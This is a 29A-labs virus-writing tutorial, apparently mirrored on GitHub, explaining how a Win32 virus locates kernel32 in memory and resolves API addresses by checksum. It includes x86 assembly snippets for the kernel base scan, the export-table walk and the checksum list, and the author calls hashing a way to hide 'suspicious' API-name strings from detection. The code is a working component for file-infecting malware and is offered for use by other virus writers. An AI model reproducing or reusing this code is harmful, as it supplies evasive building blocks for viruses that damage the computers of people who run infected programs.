forked from thomasxm/shellcode
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy path29A-4.227
More file actions
216 lines (161 loc) · 9.2 KB
/
29A-4.227
File metadata and controls
216 lines (161 loc) · 9.2 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
. . . . .
.:: .:.. .. .:.::. :.:.
<<-=ÜÛÛÛÛÛÜ.ÜÛÛÛÛÛÜ.ÜÛÛÛÛÛÜ==<
.:ÛÛÛ ÛÛÛ:ÛÛÛ ÛÛÛ.ÛÛÛ ÛÛÛ::.
:: .ÜÜÜÛÛß.ßÛÛÛÛÛÛ:ÛÛÛÛÛÛÛ .:.
.:..ÛÛÛÜÜÜÜ.ÜÜÜÜÛÛÛ.ÛÛÛ ÛÛÛ.::.:
.:>===ÛÛÛÛÛÛÛ:ÛÛÛÛÛÛß.ÛÛÛ ÛÛÛ==->> .
..: ::. . .:..Laboratories .:.. :.. ::..
RETRIEVING API'S ADRESSES
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
A guide to the latest methods to retrieve API's in a Win32 environment
By LethalMind/29A
E-Mail : [email protected]
Û Introduction
When I began working on Win32 viruses, it was not as easy at it is now.
Lots of documentation was not here, and only a few people could answer your
questions. One of the first things I looked for, being already at ease with C
and some other high level languages, was how to use the API in a virus. And
the first thing to do is find the addresses of these API. When I wrote my first
W32 virus, Champagne, the only methods I knew were bad ones, like hardcoded
addresses, or such incompatibles and unsafe methods... Now, building my second
W32 virus, I think I've gotten to what I consider the "best" method out there.
Some people may not like it, find it unsafe, etc... But I thought it would
be great for me to share what *I* think is the best one with others. Also,
this is my very first tutorial, so please be kind with me, and mail me any
comment you might have to [email protected].
Now let's start the fun!
Û What methods are you using in two words?
Ok, retrieving the APIs involve two steps. One is to retrieve the address
of the Kernel in memory, and the second step is to scan its export table to
know where these API exactly are. Once you've done that, you're ready to
play with whichever API you might want :)
Û Tell me how to get Kernel!
First, a bit of theory:
When the infected proggie is run, it gets called by CreateProcess. What
does that means ?? That means that the stack has the return address in it. So
only thing you got to do is to scan back in memory from that address (which we
know to be inside the Kernel) until you're at the beginning of it. It's really
easy, and yet a very powerful method, since it's short, compatible (I don't
see HOW it could not be compatible :) and fast. And I also may say neat :)
Now some code to illustrate this neat trick:
8<------------------------------ S N I P E T ---------------------------------
KernelAdress dd ?
StartOfYourVirus:
mov ecx,[esp] ; Return adress of call from
; CreateProcess
GetKrnlBaseLoop: ; Get Kernel32 module base adress
xor edx,edx ;
dec ecx ; Scan backward
mov dx,[ecx+03ch] ; Take beginning of PE header
test dx,0f800h ; Is it a PE header ?
jnz GetKrnlBaseLoop ; No, forget about it
cmp ecx,[ecx+edx+34h] ; Compare current adress with the
; address that PE should be loaded at
jnz GetKrnlBaseLoop ; Different ? Search again
mov [KernelAdress+ebp],ecx ; ecx hold KernelBase... Store it
8<---------------------------E N D - S N I P E T -----------------------------
Û Now let's deal with export table
I won't teach you here the structure of the export table. That can be
found in almost every zine today. But I'll show you how I use it to get API by
checksum. What is a checksum? A checksum is a number computed from a bigger
one that identifies it, some kind of fingerprint. For example, let's take 1234
We could generate a checksum by adding all his numbers between them. So the
checksum for 1234 would be 1+2+3+4 = 10. Now, if we see 1234, and we have its
checksum, we can say that both match. But if it were 1235, 1+2+3+5= 11 and the
checksum would not match. The checksum gives us a way to identify something
without knowing it all. That is VERY useful, because to get API, we'd need to
store those looonnnng names, and that would grow our viruses, and these
strings are suspicious too. I've chosen a 32-bit checksum because it's more
secure and doesn't take that much space, but I could have chosen a bigger or
smaller one, the bigger it is, the least chance you have to mis-identify an
API's name. Now, I think a snippet of code will be much more useful than a lot
of talking. This routine is POOOOORLY optimized, but I think it's far more
well commented than well optimized, and, hey, that's what matter in a tute :)
8<------------------------------ S N I P E T ---------------------------------
mov eax,ecx ; EAX = KernelBase
mov ebx,eax ; EBX = KernelBase
add eax,[eax.MZ_lfanew] ; Get address of PE header
mov esi,ebx ; Get address of Export
; directory
add esi,[eax.NT_OptionalHeader \
.OH_DirectoryEntries \
.DE_Export \
.DD_VirtualAddress]
mov edx,ebx ; Get address of exported
add edx,[esi.ED_AddressOfNames] ; API names
mov ecx,[esi.ED_NumberOfNames] ; Get number of exported
xor eax,eax ; API names
lea edi,WORD PTR [ebp+BeginAPIList] ; Point to beginning of list
mov [SESI+ebp],esi ; Save some regs
mov [SEAX+ebp],eax ;
mov [SECX+ebp],ecx ;
mov [SEBX+ebp],ebx ;
mov [SEDX+ebp],edx ;
Search_for_API_name:
mov esi,ebx ; Get address of next exported
add esi,[edx+eax*4] ; API name
Next_API_name:
pusha
xor edx,edx
mov edx,DWORD PTR[edi] ; Take the checksum
add edi,4 ; Point To Next
test edx,edx ; Is this checksum 0 ?
jz EndAPIRetrieving ; Yeah, we're done with them
LoopChsksm:
xor eax,eax
lodsb ; Take a char (ie : "X")
shl ax,8 ; move it left (ie : "X_")
sub edx,eax ; Substract that from checksum
cmp ax,0 ; Is the char 0 ?
jz LoopConti ; Yes, check if checksum too
xor ax,ax ;
lodsb ; Load another char (ie : "Y")
sub edx,eax ; Substract that from checksum
cmp ax,0 ; Is the char 0 ?
jnz LoopChsksm ; No, Continue looping
LoopConti:
test edx,edx ; Have we zeroed our checksum ?
jz FoundAPI ; YES, we have found the right API
popa ;
inc eax ; Nope, next name....
loop Search_for_API_name
FoundAPI:
popa
mov esi,[SESI+ebp]
mov edx,ebx ; Get address of exp. API ordinal
add edx,[esi.ED_AddressOfOrdinals]
movzx eax,word ptr [edx+eax*2] ; Get index into exp.API functions
Check_Index:
mov edx,ebx ; Get address of exported API function
add edx,[esi.ED_AddressOfFunctions]
add ebx,[edx+eax*4] ; Get address of requested API function
mov eax,ebx ;
End_GetProcAddressET:
add edi,4
stosd ; Save API's adress into our array
mov eax,[SEAX+ebp] ; Restore some regs
mov ebx,[SEBX+ebp] ;
mov ecx,[SECX+ebp] ;
mov edx,[SEDX+ebp] ;
jmp Search_for_API_name ; Next Name
SESI dd 0
SEAX dd 0
SECX dd 0
SEBX dd 0
SEDX dd 0
BeginAPIList:
sCloseHandle dd 'Cl'+'os'+'eH'+'an'+'dl'+'e'*100h
aCloseHandle dd 0
sCreateFileA dd 'Cr'+'ea'+'te'+'Fi'+'le'+'A'*100h
aCreateFileA dd 0
sCreateFileMappingA dd 'Cr'+'ea'+'te'+'Fi'+'le'+'Ma'+'pp'+'in'+'gA'
aCreateFileMappingA dd 0
dd 0
8<---------------------------E N D - S N I P E T -----------------------------
Û Conclusion
So this method is pretty easy to understand once you've understood export
table's structure. It use NO bug or anything like this so it is very
compatible. To me, it's the neatest way of retrieving API's address, but if
anyone think he has a better method, don't say my tutorial sucks, mail me and
tell me about it so I may perhaps learn something :)